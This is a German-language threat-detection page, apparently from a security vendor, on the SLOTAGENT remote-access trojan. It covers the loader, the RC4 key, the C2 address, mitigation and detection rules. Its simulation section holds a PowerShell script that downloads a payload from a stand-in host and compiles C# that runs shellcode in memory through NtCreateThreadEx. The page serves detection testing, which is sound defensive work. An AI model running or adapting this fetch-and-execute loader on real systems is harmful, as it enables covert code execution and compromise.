Neue Malware SLOTAGENT Unterstützt BOF-Ausführung Veröffentlicht
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
IIJ identifizierte eine bisher unbekannte multifunktionale RAT namens SLOTAGENT in einem ZIP-Archiv, das in ein öffentliches Repository hochgeladen wurde. Die Malware unterstützt die Ausführung von Beacon Object File Payloads und enthält antiforensische Fähigkeiten wie Timestomping, um die Analyse zu erschweren. Sie kommuniziert über einen fest codierten TCP-Endpunkt durch ein benutzerdefiniertes Protokoll, das JSON-formatierte Daten austauscht. Der Loader stützt sich auf RC4-verschlüsselte Konfigurationsdaten und reflektierendes DLL-Loading, um die endgültige Nutzlast zu starten.
Untersuchung
Statische Analyse zeigte, dass das Loader-Executable, WindowsOobeAppHost.AOT.exe, Windows-API-Funktionen durch eine benutzerdefinierte Hash-Routine auf der Basis von DJB2 auflöst. Die verschlüsselte Konfigurationsdatei, db.config, wird mit RC4 unter Verwendung des Schlüssels easdbadshyfab entschlüsselt und dann als Shellcode mit einer XOR-kodierten DLL ausgeführt. Nach dem Laden verbindet sich die RAT mit 43.156.59.110:699 und verarbeitet JSON-basierte Befehle, die Funktionen wie Screenshot-Erfassung, Datei-Upload und -Download sowie BOF-Ausführung unterstützen.
Minderung
Verteidiger sollten die fest codierte Command-and-Control-IP-Adresse erkennen und nach den charakteristischen HTTP-ähnlichen Pfadstrings suchen, die mit dem Netzwerkdatenverkehr der Malware verbunden sind. Die im Bericht bereitgestellten YARA-Regeln sollten eingesetzt werden, um sowohl die Loader- als auch die RAT-Komponenten zu identifizieren. Sicherheitsteams sollten auch auf verdächtiges API-Hashing-Verhalten und reflektive DLL-Loading auf Endpunkten überwachen. Die Ausführung von unsignierten und untrusted EXE- oder DLL-Dateien sollte, wo immer möglich, eingeschränkt werden.
Antwort
Wenn Indikatoren, die mit SLOTAGENT verknüpft sind, erkannt werden, isolieren Sie den betroffenen Host sofort, beenden Sie den schädlichen Prozess und sammeln Sie Speicher für die forensische Untersuchung. Die Command-and-Control-IP-Adresse und die zugehörigen Ports sollten an der Netzwerkgrenze blockiert werden. Organisationen sollten dann einen vollständigen Sweep nach den bekannten Dateinamen und Hashes durchführen und die veröffentlichten YARA-Signaturen auf Endpunkt-Erkennungssysteme anwenden.
Angriffsablauf
Erkennungen
Möglicher WindowsOobeAppHost.AOT DLL Side-Loading-Versuch (über image_load)
Ansehen
IOCs (HashSha256) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
IOCs (SourceIP) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
IOCs (DestinationIP) zum Erkennen: Neue Malware SLOTAGENT Unterstützung BOF-Ausführung veröffentlicht
Ansehen
SLOTAGENT C2-Kommunikation erkennen [Windows Netzwerkverbindung]
Ansehen
Erkennung der SLOTAGENT Malware-Ausführung [Windows Prozess-Erstellung]
Ansehen
Simulationseinführung
Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden haben.
-
Angriffsnarrativ & Befehle:
Der Gegner hat eine Kopie der SLOTAGENT Loader-Binary erhalten, sie umbenannt in
WindowsOobeAppHost.AOT.exeum sich mit legitimen OOBE-Prozessen zu vermischen, und hat sie inC:WindowsSystem32platziert. Die Nutzlast wird in einem verschlüsselten Blob auf dem Server des Angreifers gespeichert. Mit PowerShell lädt der Angreifer den verschlüsselten Blob herunter, entschlüsselt ihn im Speicher und ruft die reflektive Routine des Loaders überNtCreateThreadExauf. Der Loader ruft internNtCreateFileauf, um zusätzliche Ressourcen aus dem verschlüsselten Blob zu lesen, und verwendet dann reflektives Loading, um die bösartige DLL auszuführen, ohne den Datenträger zu berühren. Diese Aktivität erzeugt ein Sysmon ProcessCreate-Ereignis mit dem genauenBild-Namen und einemCallTraceder die drei im Regelwerk definierten Zeichenfolgen enthält. -
Regressionstestskript:
# ------------------------------------------------- # SLOTAGENT reflektive Lade-Simulation (Windows) # ------------------------------------------------- # 1. Pfade definieren $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Sicherstellen, dass der Loader existiert (simulierte Kopie der echten Binärdatei) if (-not (Test-Path $loaderPath)) { Write-Host "Kopiere simulierten Loader nach $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Verschlüsselte Nutzlast herunterladen (simuliert) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Nutzlast im Speicher entschlüsseln (Platzhalter – echte Entschlüsselung ausgelassen) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Reflektives Laden über native API-Aufrufe einleiten # Dies nutzt einen winzigen C#-Helfer, der on-the-fly kompiliert wird und NtCreateThreadEx aufruft $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Temporäre Datei bereinigen Remove-Item $tempPayload -Force -
Bereinigungskommandos:
# Beendet jeglichen verbleibenden Loader-Prozess Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Entfernt simulierte Loader-Binärdatei $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Entfernt jegliche verbleibenden temporären Dateien Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue